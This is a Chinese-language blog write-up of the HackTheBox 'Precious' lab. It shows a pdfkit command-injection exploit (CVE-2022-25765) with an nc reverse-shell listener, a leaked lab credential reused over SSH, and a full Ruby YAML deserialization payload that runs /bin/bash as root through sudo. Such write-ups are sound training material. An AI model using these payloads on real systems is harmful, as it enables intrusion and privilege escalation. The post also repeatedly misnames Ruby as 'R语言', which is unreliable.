HTB Precious 渗透测试详细记录

你是慕鸢呀~ 发布于 14 小时前 18 次阅读 1085 字 预计阅读时间: 5 分钟


AI 摘要

# HTB Precious 渗透测试记录摘要 本次渗透测试针对 HackTheBox 平台上的 Precious 靶机(Linux 系统,难度 Easy)。攻击过程主要分为两个阶段:首先利用 Web 应用中的 PDF 生成功能漏洞获取初始访问权限,随后通过 Ruby 脚本的反序列化漏洞实现权限提升。 ## 攻击路径概述 1. **初始访问**:通过 nmap 扫描发现 80 端口运行着一个可将网页转换为 PDF 的服务。分析生成的 PDF 文件,发现其使用了存在命令注入漏洞的 pdfkit 组件(v0.8.6,CVE-2022-25765)。利用该漏洞成功在目标系统上执行命令,获取了 `ruby` 用户的 shell。 2. **横向移动**:在 `ruby` 用户目录下发现了另一用户 `henry` 的凭据。使用该凭据通过 SSH 登录,成功切换至 `henry` 用户。 3. **权限提升**:检查发现 `henry` 用户拥有以 root 权限执行 `/opt/update_dependencies.rb` 脚本的权限。该脚本使用不安全的 `YAML.load` 方法加载 `dependencies.yml` 文件,存在反序列化漏洞。通过构造恶意的 YAML 载荷,利用该漏洞成功以 root 身份执行命令,最终获取系统最高权限。 ## 关键漏洞 * **CVE-2022-25765**:pdfkit 组件的命令注入漏洞,用于获取初始立足点。 * **不安全的反序列化**:Ruby 脚本中 `YAML.load` 的使用不当,导致远程代码执行,用于权限提升。

HTB Precious 渗透测试详细记录

靶机介绍

名字 Precious
创建日期 26th November, 2022
操作系统 Linux
难度 Easy

image-20251207215843816

1.初始侦察阶段

nmap扫描 只开放了80和22端口,重点看80,而且title上面提示了域名,顺便去hosts上面改一下

10.129.16.30 precious.htb

image-20251127183042866

2.服务探测与信息收集

写入hosts之后,直接在浏览器打开

image-20251207202515111

这是一个把html内容转化成pdf的网页,需要用户输入url

我这里在本地启动一个html服务,然后填入url,测试网页功能。

image-20251207202711166

也是成功把网页内容转化成了pdf

image-20251207202756892

使用 exiftool 分析pdf文件,寻找更多信息

image-20251207203223538

3. 漏洞识别与初始访问

这个功能点背后用的是 pdfkit v0.8.6 ,而这个组件存在一个著名的cve-2022-25765漏洞

我这里使用的这个exp

https://github.com/lowercasenumbers/CVE-2022-25765

nc -lvnp 4444
python cve-2022-25765.py -t http://precious.htb -l 10.10.14.55 -p 4444

image-20251207212225451

成功获取到ruby用户权限

在ruby 用户的目录获取到henry用户的凭据

BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"

image-20251207212912336

4.横向移动&权限提升前的信息收集

尝试ssh登录这个用户,成功获取到普通用户权限

ssh henry@10.129.16.30

image-20251207213306049

5.权限提升

检查sudo权限

image-20251207213624330

尝试执行这个rb脚本

image-20251207213826106

提示缺失了一个.yml文件,尝试构建这个文件,经过搜索,我发现这里利用的是R语言反序列化RCE的payload,确定下R语言的版本

henry@precious:~$ ruby -v
ruby 2.7.4p191 (2021-07-07 revision a21a3b7d23) [x86_64-linux-gnu]

阅读并分析一下这个R语言脚本

henry@precious:~$ cat /opt/update_dependencies.rb 
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end

脚本中的 YAML.load 方法有一个特性,即能够反序列化任意的 Ruby 对象。

YAML.load 遇到 !ruby/object:ClassName 这样的标签时,它会尝试实例化 ClassName 并设置其属性。恶意攻击者可以构造这样的 YAML 文件,使得在反序列化过程中执行任意代码。

我在github上找到了实例代码。

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Insecure%20Deserialization/Ruby.md

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: /bin/bash
         method_id: :resolve

把这个文件保存到用户目录,并执行脚本

vi dependencies.yml
sudo /usr/bin/ruby /opt/update_dependencies.rb

成功提权至root

image-20251207215737330

获取flag

image-20251207215929473

6. 攻击链路图

初始侦察 (nmap TCP端口扫描)
    ↓
Web服务检测 (发现 网页转pdf功能点)
    ↓
exiftool分析pdf文件 ( 发现高危组件 pdfkit v0.8.6 )
    ↓  
漏洞利用 ( CVE-2022-25765 )
    ↓      
建立立足点(用户目录获取到henry用户的凭据)
    ↓
横向移动-1 (SSH登录henry用户)
    ↓
内部信息收集 (R语言脚本存在反序列化RCE漏洞)
    ↓
漏洞利用(构造yaml文件,利用YAML.load方法特性RCE)
    ↓
提权(执行脚本提升权限至root)
我本桀骜少年臣,不信鬼神不信人。
最后更新于 2025-12-07